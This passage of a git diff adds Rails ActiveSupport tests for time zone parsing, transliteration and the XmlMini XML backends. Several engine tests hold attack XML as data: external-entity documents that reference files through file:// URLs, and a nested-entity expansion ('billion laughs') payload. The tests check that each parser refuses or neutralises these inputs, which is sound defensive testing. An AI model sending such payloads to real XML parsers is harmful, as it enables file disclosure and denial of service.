+    assert_equal zone, twz.time_zone
+  end
+
+  def test_rfc3339_with_missing_time
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.rfc3339("1999-12-31")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
+  def test_rfc3339_with_missing_offset
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.rfc3339("1999-12-31T19:00:00")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
+  def test_rfc3339_with_invalid_string
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+
+    exception = assert_raises(ArgumentError) do
+      zone.rfc3339("foobar")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
+  def test_rfc3339_with_old_date
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.rfc3339("1883-12-31T19:00:00-05:00")
+    assert_equal [0, 0, 19, 31, 12, 1883], twz.to_a[0, 6]
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_rfc3339_far_future_date_with_time_zone_offset_in_string
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.rfc3339("2050-12-31T19:00:00-10:00") # i.e., 2050-01-01 05:00:00 UTC
+    assert_equal [0, 0, 0, 1, 1, 2051], twz.to_a[0, 6]
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_rfc3339_should_not_black_out_system_timezone_dst_jump
+    with_env_tz("EET") do
+      zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+      twz = zone.rfc3339("2012-03-25T03:29:00-07:00")
+      assert_equal [0, 29, 3, 25, 3, 2012], twz.to_a[0, 6]
+    end
+  end
+
+  def test_rfc3339_should_black_out_app_timezone_dst_jump
+    with_env_tz("EET") do
+      zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+      twz = zone.rfc3339("2012-03-11T02:29:00-08:00")
+      assert_equal [0, 29, 3, 11, 3, 2012], twz.to_a[0, 6]
+    end
+  end
+
+  def test_rfc3339_doesnt_use_local_dst
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["UTC"]
+      twz = zone.rfc3339("2013-03-10T02:00:00Z")
+      assert_equal Time.utc(2013, 3, 10, 2, 0, 0), twz.time
+    end
+  end
+
+  def test_rfc3339_handles_dst_jump
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      twz = zone.iso8601("2013-03-10T02:00:00-05:00")
+      assert_equal Time.utc(2013, 3, 10, 3, 0, 0), twz.time
+    end
+  end
+
+  def test_strptime
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.strptime("1999-12-31 12:00:00", "%Y-%m-%d %H:%M:%S")
+    assert_equal Time.utc(1999, 12, 31, 17), twz
+    assert_equal Time.utc(1999, 12, 31, 12), twz.time
+    assert_equal Time.utc(1999, 12, 31, 17), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_strptime_with_nondefault_time_zone
+    with_tz_default ActiveSupport::TimeZone["Pacific Time (US & Canada)"] do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      twz = zone.strptime("1999-12-31 12:00:00", "%Y-%m-%d %H:%M:%S")
+      assert_equal Time.utc(1999, 12, 31, 17), twz
+      assert_equal Time.utc(1999, 12, 31, 12), twz.time
+      assert_equal Time.utc(1999, 12, 31, 17), twz.utc
+      assert_equal zone, twz.time_zone
+    end
+  end
+
+  def test_strptime_with_explicit_time_zone_as_abbrev
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.strptime("1999-12-31 12:00:00 PST", "%Y-%m-%d %H:%M:%S %Z")
+    assert_equal Time.utc(1999, 12, 31, 20), twz
+    assert_equal Time.utc(1999, 12, 31, 15), twz.time
+    assert_equal Time.utc(1999, 12, 31, 20), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_strptime_with_explicit_time_zone_as_h_offset
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.strptime("1999-12-31 12:00:00 -08", "%Y-%m-%d %H:%M:%S %:::z")
+    assert_equal Time.utc(1999, 12, 31, 20), twz
+    assert_equal Time.utc(1999, 12, 31, 15), twz.time
+    assert_equal Time.utc(1999, 12, 31, 20), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_strptime_with_explicit_time_zone_as_hm_offset
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.strptime("1999-12-31 12:00:00 -08:00", "%Y-%m-%d %H:%M:%S %:z")
+    assert_equal Time.utc(1999, 12, 31, 20), twz
+    assert_equal Time.utc(1999, 12, 31, 15), twz.time
+    assert_equal Time.utc(1999, 12, 31, 20), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_strptime_with_explicit_time_zone_as_hms_offset
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.strptime("1999-12-31 12:00:00 -08:00:00", "%Y-%m-%d %H:%M:%S %::z")
+    assert_equal Time.utc(1999, 12, 31, 20), twz
+    assert_equal Time.utc(1999, 12, 31, 15), twz.time
+    assert_equal Time.utc(1999, 12, 31, 20), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_strptime_with_almost_explicit_time_zone
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    twz = zone.strptime("1999-12-31 12:00:00 %Z", "%Y-%m-%d %H:%M:%S %%Z")
+    assert_equal Time.utc(1999, 12, 31, 17), twz
+    assert_equal Time.utc(1999, 12, 31, 12), twz.time
+    assert_equal Time.utc(1999, 12, 31, 17), twz.utc
+    assert_equal zone, twz.time_zone
+  end
+
+  def test_strptime_with_day_omitted
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      assert_equal Time.local(2000, 2, 1), zone.strptime("Feb", "%b", Time.local(2000, 1, 1))
+      assert_equal Time.local(2005, 2, 1), zone.strptime("Feb 2005", "%b %Y", Time.local(2000, 1, 1))
+      assert_equal Time.local(2005, 2, 2), zone.strptime("2 Feb 2005", "%e %b %Y", Time.local(2000, 1, 1))
+    end
+  end
+
+  def test_strptime_with_malformed_string
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      assert_raise(ArgumentError) { zone.strptime("1999-12-31", "%Y/%m/%d") }
+    end
+  end
+
+  def test_strptime_with_timestamp_seconds
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      time_str = "1470272280"
+      time = zone.strptime(time_str, "%s")
+      assert_equal Time.at(1470272280), time
+    end
+  end
+
+  def test_strptime_with_timestamp_milliseconds
+    with_env_tz "US/Eastern" do
+      zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+      time_str = "1470272280000"
+      time = zone.strptime(time_str, "%Q")
+      assert_equal Time.at(1470272280), time
+    end
+  end
+
+  def test_utc_offset_lazy_loaded_from_tzinfo_when_not_passed_in_to_initialize
+    tzinfo = TZInfo::Timezone.get("America/New_York")
+    zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo)
+    assert_nil zone.instance_variable_get("@utc_offset")
+    assert_equal(-18_000, zone.utc_offset)
+  end
+
+  def test_utc_offset_is_not_cached_when_current_period_gets_stale
+    tz = ActiveSupport::TimeZone.create("Moscow")
+    travel_to(Time.utc(2014, 10, 25, 21)) do # 1 hour before TZ change
+      assert_equal 14400, tz.utc_offset, "utc_offset should be initialized according to current_period"
+    end
+
+    travel_to(Time.utc(2014, 10, 25, 22)) do # after TZ change
+      assert_equal 10800, tz.utc_offset, "utc_offset should not be cached when current_period gets stale"
+    end
+  end
+
+  def test_seconds_to_utc_offset_with_colon
+    assert_equal "-06:00", ActiveSupport::TimeZone.seconds_to_utc_offset(-21_600)
+    assert_equal "+00:00", ActiveSupport::TimeZone.seconds_to_utc_offset(0)
+    assert_equal "+05:00", ActiveSupport::TimeZone.seconds_to_utc_offset(18_000)
+  end
+
+  def test_seconds_to_utc_offset_without_colon
+    assert_equal "-0600", ActiveSupport::TimeZone.seconds_to_utc_offset(-21_600, false)
+    assert_equal "+0000", ActiveSupport::TimeZone.seconds_to_utc_offset(0, false)
+    assert_equal "+0500", ActiveSupport::TimeZone.seconds_to_utc_offset(18_000, false)
+  end
+
+  def test_seconds_to_utc_offset_with_negative_offset
+    assert_equal "-01:00", ActiveSupport::TimeZone.seconds_to_utc_offset(-3_600)
+    assert_equal "-00:59", ActiveSupport::TimeZone.seconds_to_utc_offset(-3_599)
+    assert_equal "-05:30", ActiveSupport::TimeZone.seconds_to_utc_offset(-19_800)
+  end
+
+  def test_formatted_offset_positive
+    zone = ActiveSupport::TimeZone["New Delhi"]
+    assert_equal "+05:30", zone.formatted_offset
+    assert_equal "+0530", zone.formatted_offset(false)
+  end
+
+  def test_formatted_offset_negative
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    assert_equal "-05:00", zone.formatted_offset
+    assert_equal "-0500", zone.formatted_offset(false)
+  end
+
+  def test_z_format_strings
+    zone = ActiveSupport::TimeZone["Tokyo"]
+    twz = zone.now
+    assert_equal "+0900",     twz.strftime("%z")
+    assert_equal "+09:00",    twz.strftime("%:z")
+    assert_equal "+09:00:00", twz.strftime("%::z")
+  end
+
+  def test_formatted_offset_zero
+    zone = ActiveSupport::TimeZone["London"]
+    assert_equal "+00:00", zone.formatted_offset
+    assert_equal "UTC", zone.formatted_offset(true, "UTC")
+  end
+
+  def test_zone_compare
+    zone1 = ActiveSupport::TimeZone["Central Time (US & Canada)"] # offset -0600
+    zone2 = ActiveSupport::TimeZone["Eastern Time (US & Canada)"] # offset -0500
+    assert zone1 < zone2
+    assert zone2 > zone1
+    assert zone1 == zone1
+  end
+
+  def test_zone_match
+    zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    assert zone =~ /Eastern/
+    assert zone =~ /New_York/
+    assert zone !~ /Nonexistent_Place/
+  end
+
+  def test_to_s
+    assert_equal "(GMT+05:30) New Delhi", ActiveSupport::TimeZone["New Delhi"].to_s
+  end
+
+  def test_all_sorted
+    all = ActiveSupport::TimeZone.all
+    1.upto(all.length - 1) do |i|
+      assert all[i - 1] < all[i]
+    end
+  end
+
+  def test_index
+    assert_nil ActiveSupport::TimeZone["bogus"]
+    assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone["Central Time (US & Canada)"]
+    assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[8]
+    assert_raise(ArgumentError) { ActiveSupport::TimeZone[false] }
+  end
+
+  def test_unknown_zone_raises_exception
+    assert_raise TZInfo::InvalidTimezoneIdentifier do
+      ActiveSupport::TimeZone.create("bogus")
+    end
+  end
+
+  def test_unknown_zones_dont_store_mapping_keys
+    assert_nil ActiveSupport::TimeZone["bogus"]
+  end
+
+  def test_new
+    assert_equal ActiveSupport::TimeZone["Central Time (US & Canada)"], ActiveSupport::TimeZone.new("Central Time (US & Canada)")
+  end
+
+  def test_us_zones
+    assert_includes ActiveSupport::TimeZone.us_zones, ActiveSupport::TimeZone["Hawaii"]
+    assert_not_includes ActiveSupport::TimeZone.us_zones, ActiveSupport::TimeZone["Kuala Lumpur"]
+  end
+
+  def test_country_zones
+    assert_includes ActiveSupport::TimeZone.country_zones("ru"), ActiveSupport::TimeZone["Moscow"]
+    assert_not_includes ActiveSupport::TimeZone.country_zones(:ru), ActiveSupport::TimeZone["Kuala Lumpur"]
+  end
+
+  def test_country_zones_without_mappings
+    assert_includes ActiveSupport::TimeZone.country_zones(:sv), ActiveSupport::TimeZone["America/El_Salvador"]
+  end
+
+  def test_to_yaml
+    assert_equal("--- !ruby/object:ActiveSupport::TimeZone\nname: Pacific/Honolulu\n", ActiveSupport::TimeZone["Hawaii"].to_yaml)
+    assert_equal("--- !ruby/object:ActiveSupport::TimeZone\nname: Europe/London\n", ActiveSupport::TimeZone["Europe/London"].to_yaml)
+  end
+
+  def test_yaml_load
+    assert_equal(ActiveSupport::TimeZone["Pacific/Honolulu"], YAML.load("--- !ruby/object:ActiveSupport::TimeZone\nname: Pacific/Honolulu\n"))
+  end
+end
diff --git a/activesupport/test/time_zone_test_helpers.rb b/activesupport/test/time_zone_test_helpers.rb
new file mode 100644
index 0000000000..051703a781
--- /dev/null
+++ b/activesupport/test/time_zone_test_helpers.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module TimeZoneTestHelpers
+  def with_tz_default(tz = nil)
+    old_tz = Time.zone
+    Time.zone = tz
+    yield
+  ensure
+    Time.zone = old_tz
+  end
+
+  def with_env_tz(new_tz = "US/Eastern")
+    old_tz, ENV["TZ"] = ENV["TZ"], new_tz
+    yield
+  ensure
+    old_tz ? ENV["TZ"] = old_tz : ENV.delete("TZ")
+  end
+
+  def with_preserve_timezone(value)
+    old_preserve_tz = ActiveSupport.to_time_preserves_timezone
+    ActiveSupport.to_time_preserves_timezone = value
+    yield
+  ensure
+    ActiveSupport.to_time_preserves_timezone = old_preserve_tz
+  end
+end
diff --git a/activesupport/test/transliterate_test.rb b/activesupport/test/transliterate_test.rb
new file mode 100644
index 0000000000..7d19447598
--- /dev/null
+++ b/activesupport/test/transliterate_test.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/inflector/transliterate"
+
+class TransliterateTest < ActiveSupport::TestCase
+  def test_transliterate_should_not_change_ascii_chars
+    (0..127).each do |byte|
+      char = [byte].pack("U")
+      assert_equal char, ActiveSupport::Inflector.transliterate(char)
+    end
+  end
+
+  def test_transliterate_should_approximate_ascii
+    # create string with range of Unicode's western characters with
+    # diacritics, excluding the division and multiplication signs which for
+    # some reason or other are floating in the middle of all the letters.
+    string = (0xC0..0x17E).to_a.reject { |c| [0xD7, 0xF7].include?(c) }.pack("U*")
+    string.each_char do |char|
+      assert_match %r{^[a-zA-Z']*$}, ActiveSupport::Inflector.transliterate(char)
+    end
+  end
+
+  def test_transliterate_should_work_with_custom_i18n_rules_and_uncomposed_utf8
+    char = [117, 776].pack("U*") # "ü" as ASCII "u" plus COMBINING DIAERESIS
+    I18n.backend.store_translations(:de, i18n: { transliterate: { rule: { "ü" => "ue" } } })
+    default_locale, I18n.locale = I18n.locale, :de
+    assert_equal "ue", ActiveSupport::Inflector.transliterate(char)
+  ensure
+    I18n.locale = default_locale
+  end
+
+  def test_transliterate_should_allow_a_custom_replacement_char
+    assert_equal "a*b", ActiveSupport::Inflector.transliterate("a索b", "*")
+  end
+
+  def test_transliterate_handles_empty_string
+    assert_equal "", ActiveSupport::Inflector.transliterate("")
+  end
+
+  def test_transliterate_handles_nil
+    exception = assert_raises ArgumentError do
+      ActiveSupport::Inflector.transliterate(nil)
+    end
+    assert_equal "Can only transliterate strings. Received NilClass", exception.message
+  end
+
+  def test_transliterate_handles_unknown_object
+    exception = assert_raises ArgumentError do
+      ActiveSupport::Inflector.transliterate(Object.new)
+    end
+    assert_equal "Can only transliterate strings. Received Object", exception.message
+  end
+end
diff --git a/activesupport/test/xml_mini/jdom_engine_test.rb b/activesupport/test/xml_mini/jdom_engine_test.rb
new file mode 100644
index 0000000000..97a533aafb
--- /dev/null
+++ b/activesupport/test/xml_mini/jdom_engine_test.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require_relative "xml_mini_engine_test"
+
+XMLMiniEngineTest.run_with_platform("java") do
+  class JDOMEngineTest < XMLMiniEngineTest
+    FILES_DIR = File.expand_path("../fixtures/xml", __dir__)
+
+    def test_not_allowed_to_expand_entities_to_files
+      attack_xml = <<-EOT
+      <!DOCTYPE member [
+        <!ENTITY a SYSTEM "file://#{FILES_DIR}/jdom_include.txt">
+      ]>
+      <member>x&a;</member>
+      EOT
+      assert_equal "x", Hash.from_xml(attack_xml)["member"]
+    end
+
+    def test_not_allowed_to_expand_parameter_entities_to_files
+      attack_xml = <<-EOT
+      <!DOCTYPE member [
+        <!ENTITY % b SYSTEM "file://#{FILES_DIR}/jdom_entities.txt">
+        %b;
+      ]>
+      <member>x&a;</member>
+      EOT
+      assert_raise Java::OrgXmlSax::SAXParseException do
+        assert_equal "x", Hash.from_xml(attack_xml)["member"]
+      end
+    end
+
+    def test_not_allowed_to_load_external_doctypes
+      attack_xml = <<-EOT
+      <!DOCTYPE member SYSTEM "file://#{FILES_DIR}/jdom_doctype.dtd">
+      <member>x&a;</member>
+      EOT
+      assert_equal "x", Hash.from_xml(attack_xml)["member"]
+    end
+
+    private
+      def engine
+        "JDOM"
+      end
+
+      def expansion_attack_error
+        Java::OrgXmlSax::SAXParseException
+      end
+
+      def extended_engine?
+        false
+      end
+  end
+end
diff --git a/activesupport/test/xml_mini/libxml_engine_test.rb b/activesupport/test/xml_mini/libxml_engine_test.rb
new file mode 100644
index 0000000000..5c13f493f1
--- /dev/null
+++ b/activesupport/test/xml_mini/libxml_engine_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require_relative "xml_mini_engine_test"
+
+XMLMiniEngineTest.run_with_gem("libxml") do
+  class LibxmlEngineTest < XMLMiniEngineTest
+    def setup
+      super
+      LibXML::XML::Error.set_handler(&lambda { |error| }) #silence libxml, exceptions will do
+    end
+
+    private
+      def engine
+        "LibXML"
+      end
+
+      def expansion_attack_error
+        LibXML::XML::Error
+      end
+  end
+end
diff --git a/activesupport/test/xml_mini/libxmlsax_engine_test.rb b/activesupport/test/xml_mini/libxmlsax_engine_test.rb
new file mode 100644
index 0000000000..8e4a30a48e
--- /dev/null
+++ b/activesupport/test/xml_mini/libxmlsax_engine_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require_relative "xml_mini_engine_test"
+
+XMLMiniEngineTest.run_with_gem("libxml") do
+  class LibXMLSAXEngineTest < XMLMiniEngineTest
+    private
+      def engine
+        "LibXMLSAX"
+      end
+
+      def expansion_attack_error
+        LibXML::XML::Error
+      end
+  end
+end
diff --git a/activesupport/test/xml_mini/nokogiri_engine_test.rb b/activesupport/test/xml_mini/nokogiri_engine_test.rb
new file mode 100644
index 0000000000..f1584bcedf
--- /dev/null
+++ b/activesupport/test/xml_mini/nokogiri_engine_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require_relative "xml_mini_engine_test"
+
+XMLMiniEngineTest.run_with_gem("nokogiri") do
+  class NokogiriEngineTest < XMLMiniEngineTest
+    private
+      def engine
+        "Nokogiri"
+      end
+
+      def expansion_attack_error
+        Nokogiri::XML::SyntaxError
+      end
+  end
+end
diff --git a/activesupport/test/xml_mini/nokogirisax_engine_test.rb b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
new file mode 100644
index 0000000000..f38a56e83b
--- /dev/null
+++ b/activesupport/test/xml_mini/nokogirisax_engine_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require_relative "xml_mini_engine_test"
+
+XMLMiniEngineTest.run_with_gem("nokogiri") do
+  class NokogiriSAXEngineTest < XMLMiniEngineTest
+    private
+      def engine
+        "NokogiriSAX"
+      end
+
+      def expansion_attack_error
+        RuntimeError
+      end
+  end
+end
diff --git a/activesupport/test/xml_mini/rexml_engine_test.rb b/activesupport/test/xml_mini/rexml_engine_test.rb
new file mode 100644
index 0000000000..34bf81fa75
--- /dev/null
+++ b/activesupport/test/xml_mini/rexml_engine_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require_relative "xml_mini_engine_test"
+
+class REXMLEngineTest < XMLMiniEngineTest
+  def test_default_is_rexml
+    assert_equal ActiveSupport::XmlMini_REXML, ActiveSupport::XmlMini.backend
+  end
+
+  def test_parse_from_empty_string
+    assert_equal({}, ActiveSupport::XmlMini.parse(""))
+  end
+
+  def test_parse_from_frozen_string
+    xml_string = "<root></root>".freeze
+    assert_equal({ "root" => {} }, ActiveSupport::XmlMini.parse(xml_string))
+  end
+
+  private
+    def engine
+      "REXML"
+    end
+
+    def expansion_attack_error
+      RuntimeError
+    end
+end
diff --git a/activesupport/test/xml_mini/xml_mini_engine_test.rb b/activesupport/test/xml_mini/xml_mini_engine_test.rb
new file mode 100644
index 0000000000..5c4c28d9b7
--- /dev/null
+++ b/activesupport/test/xml_mini/xml_mini_engine_test.rb
@@ -0,0 +1,264 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/xml_mini"
+require "active_support/core_ext/hash/conversions"
+
+class XMLMiniEngineTest < ActiveSupport::TestCase
+  def self.run_with_gem(gem_name)
+    require gem_name
+    yield
+  rescue LoadError
+    # Skip tests unless gem is available
+  end
+
+  def self.run_with_platform(platform_name)
+    yield if RUBY_PLATFORM.include?(platform_name)
+  end
+
+  def self.inherited(base)
+    base.include EngineTests
+    super
+  end
+
+  def setup
+    @default_backend = ActiveSupport::XmlMini.backend
+    ActiveSupport::XmlMini.backend = engine
+    super
+  end
+
+  def teardown
+    ActiveSupport::XmlMini.backend = @default_backend
+    super
+  end
+
+  module EngineTests
+    def test_file_from_xml
+      hash = Hash.from_xml(<<-eoxml)
+        <blog>
+          <logo type="file" name="logo.png" content_type="image/png">
+          </logo>
+        </blog>
+      eoxml
+      assert hash.key?("blog")
+      assert hash["blog"].key?("logo")
+
+      file = hash["blog"]["logo"]
+      assert_equal "logo.png", file.original_filename
+      assert_equal "image/png", file.content_type
+    end
+
+    def test_exception_thrown_on_expansion_attack
+      assert_raise expansion_attack_error do
+        Hash.from_xml(<<-eoxml)
+          <?xml version="1.0" encoding="UTF-8"?>
+          <!DOCTYPE member [
+            <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
+            <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
+            <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
+            <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
+            <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
+            <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
+            <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
+          ]>
+          <member>
+            &a;
+          </member>
+      eoxml
+      end
+    end
+
+    def test_setting_backend
+      assert_engine_class ActiveSupport::XmlMini.backend
+    end
+
+    def test_blank_returns_empty_hash
+      assert_equal({}, ActiveSupport::XmlMini.parse(nil))
+      assert_equal({}, ActiveSupport::XmlMini.parse(""))
+    end
+
+    def test_parse_from_frozen_string
+      xml_string = "<root/>".freeze
+      assert_equal({ "root" => {} }, ActiveSupport::XmlMini.parse(xml_string))
+    end
+
+    def test_array_type_makes_an_array
+      assert_equal_rexml(<<-eoxml)
+        <blog>
+          <posts type="array">
+            <post>a post</post>
+            <post>another post</post>
+          </posts>
+        </blog>
+      eoxml
+    end
+
+    def test_one_node_document_as_hash
+      assert_equal_rexml(<<-eoxml)
+        <products/>
+      eoxml
+    end
+
+    def test_one_node_with_attributes_document_as_hash
+      assert_equal_rexml(<<-eoxml)
+        <products foo="bar"/>
+      eoxml
+    end
+
+    def test_products_node_with_book_node_as_hash
+      assert_equal_rexml(<<-eoxml)
+        <products>
+          <book name="awesome" id="12345" />
+        </products>
+      eoxml
+    end
+
+    def test_products_node_with_two_book_nodes_as_hash
+      assert_equal_rexml(<<-eoxml)
+        <products>
+          <book name="awesome" id="12345" />
+          <book name="america" id="67890" />
+        </products>
+      eoxml
+    end
+
+    def test_single_node_with_content_as_hash
+      assert_equal_rexml(<<-eoxml)
+        <products>
+          hello world
+        </products>
+      eoxml
+    end
+
+    def test_children_with_children
+      assert_equal_rexml(<<-eoxml)
+        <root>
+          <products>
+            <book name="america" id="67890" />
+          </products>
+        </root>
+      eoxml
+    end
+
+    def test_children_with_text
+      assert_equal_rexml(<<-eoxml)
+        <root>
+          <products>
+            hello everyone
+          </products>
+        </root>
+      eoxml
+    end
+
+    def test_children_with_non_adjacent_text
+      assert_equal_rexml(<<-eoxml)
+        <root>
+          good
+          <products>
+            hello everyone
+          </products>
+          morning
+        </root>
+      eoxml
+    end
+
+    def test_parse_from_io
+      skip_unless_extended_engine
+
+      assert_equal_rexml(StringIO.new(<<-eoxml))
+        <root>
+          good
+          <products>
+            hello everyone
+          </products>
+          morning
+        </root>
+      eoxml
+    end
+
+    def test_children_with_simple_cdata
+      skip_unless_extended_engine
+
+      assert_equal_rexml(<<-eoxml)
+        <root>
+          <products>
+             <![CDATA[cdatablock]]>
+          </products>
+        </root>
+      eoxml
+    end
+
+    def test_children_with_multiple_cdata
+      skip_unless_extended_engine
+
+      assert_equal_rexml(<<-eoxml)
+        <root>
+          <products>
+             <![CDATA[cdatablock1]]><![CDATA[cdatablock2]]>
+          </products>
+        </root>
+      eoxml
+    end
+
+    def test_children_with_text_and_cdata
+      skip_unless_extended_engine
+
+      assert_equal_rexml(<<-eoxml)
+        <root>
+          <products>
+            hello <![CDATA[cdatablock]]>
+            morning
+          </products>
+        </root>
+      eoxml
+    end
+
+    def test_children_with_blank_text
+      skip_unless_extended_engine
+
+      assert_equal_rexml(<<-eoxml)
+        <root>
+          <products>   </products>
+        </root>
+      eoxml
+    end
+
+    def test_children_with_blank_text_and_attribute
+      skip_unless_extended_engine
+
+      assert_equal_rexml(<<-eoxml)
+        <root>
+          <products type="file">   </products>
+        </root>
+      eoxml
+    end
+
+    private
+      def engine
+        raise NotImplementedError
+      end
+
+      def assert_engine_class(actual)
+        assert_equal ActiveSupport.const_get("XmlMini_#{engine}"), actual
+      end
+
+      def assert_equal_rexml(xml)
+        parsed_xml = ActiveSupport::XmlMini.parse(xml)
+        xml.rewind if xml.respond_to?(:rewind)
+        hash = ActiveSupport::XmlMini.with_backend("REXML") { ActiveSupport::XmlMini.parse(xml) }
+        assert_equal(hash, parsed_xml)
+      end
+
+      def expansion_attack_error
+        raise NotImplementedError
+      end
+
+      def extended_engine?
+        true
+      end
+
+      def skip_unless_extended_engine
+        skip "#{engine} is not an extended engine" unless extended_engine?
+      end
+  end
+end
diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb
new file mode 100644
index 0000000000..5e46406a7b
--- /dev/null
+++ b/activesupport/test/xml_mini_test.rb
@@ -0,0 +1,355 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/xml_mini"
+require "active_support/builder"
+require "active_support/core_ext/hash"
+require "active_support/core_ext/big_decimal"
+require "yaml"
+
+module XmlMiniTest
+  class RenameKeyTest < ActiveSupport::TestCase
+    def test_rename_key_dasherizes_by_default
+      assert_equal "my-key", ActiveSupport::XmlMini.rename_key("my_key")
+    end
+
+    def test_rename_key_dasherizes_with_dasherize_true
+      assert_equal "my-key", ActiveSupport::XmlMini.rename_key("my_key", dasherize: true)
+    end
+
+    def test_rename_key_does_nothing_with_dasherize_false
+      assert_equal "my_key", ActiveSupport::XmlMini.rename_key("my_key", dasherize: false)
+    end
+
+    def test_rename_key_camelizes_with_camelize_true
+      assert_equal "MyKey", ActiveSupport::XmlMini.rename_key("my_key", camelize: true)
+    end
+
+    def test_rename_key_lower_camelizes_with_camelize_lower
+      assert_equal "myKey", ActiveSupport::XmlMini.rename_key("my_key", camelize: :lower)
+    end
+
+    def test_rename_key_lower_camelizes_with_camelize_upper
+      assert_equal "MyKey", ActiveSupport::XmlMini.rename_key("my_key", camelize: :upper)
+    end
+
+    def test_rename_key_does_not_dasherize_leading_underscores
+      assert_equal "_id", ActiveSupport::XmlMini.rename_key("_id")
+    end
+
+    def test_rename_key_with_leading_underscore_dasherizes_interior_underscores
+      assert_equal "_my-key", ActiveSupport::XmlMini.rename_key("_my_key")
+    end
+
+    def test_rename_key_does_not_dasherize_trailing_underscores
+      assert_equal "id_", ActiveSupport::XmlMini.rename_key("id_")
+    end
+
+    def test_rename_key_with_trailing_underscore_dasherizes_interior_underscores
+      assert_equal "my-key_", ActiveSupport::XmlMini.rename_key("my_key_")
+    end
+
+    def test_rename_key_does_not_dasherize_multiple_leading_underscores
+      assert_equal "__id", ActiveSupport::XmlMini.rename_key("__id")
+    end
+
+    def test_rename_key_does_not_dasherize_multiple_trailing_underscores
+      assert_equal "id__", ActiveSupport::XmlMini.rename_key("id__")
+    end
+  end
+
+  class ToTagTest < ActiveSupport::TestCase
+    def assert_xml(xml)
+      assert_equal xml, @options[:builder].target!
+    end
+
+    def setup
+      @xml = ActiveSupport::XmlMini
+      @options = { skip_instruct: true, builder: Builder::XmlMarkup.new }
+    end
+
+    test "#to_tag accepts a callable object and passes options with the builder" do
+      @xml.to_tag(:some_tag, lambda { |o| o[:builder].br }, @options)
+      assert_xml "<br/>"
+    end
+
+    test "#to_tag accepts a callable object and passes options and tag name" do
+      @xml.to_tag(:tag, lambda { |o, t| o[:builder].b(t) }, @options)
+      assert_xml "<b>tag</b>"
+    end
+
+    test "#to_tag accepts an object responding to #to_xml and passes the options, where :root is key" do
+      obj = Object.new
+      obj.instance_eval do
+        def to_xml(options) options[:builder].yo(options[:root].to_s) end
+      end
+
+      @xml.to_tag(:tag, obj, @options)
+      assert_xml "<yo>tag</yo>"
+    end
+
+    test "#to_tag accepts arbitrary objects responding to #to_str" do
+      @xml.to_tag(:b, "Howdy", @options)
+      assert_xml "<b>Howdy</b>"
+    end
+
+    test "#to_tag should use the type value in the options hash" do
+      @xml.to_tag(:b, "blue", @options.merge(type: "color"))
+      assert_xml("<b type=\"color\">blue</b>")
+    end
+
+    test "#to_tag accepts symbol types" do
+      @xml.to_tag(:b, :name, @options)
+      assert_xml("<b type=\"symbol\">name</b>")
+    end
+
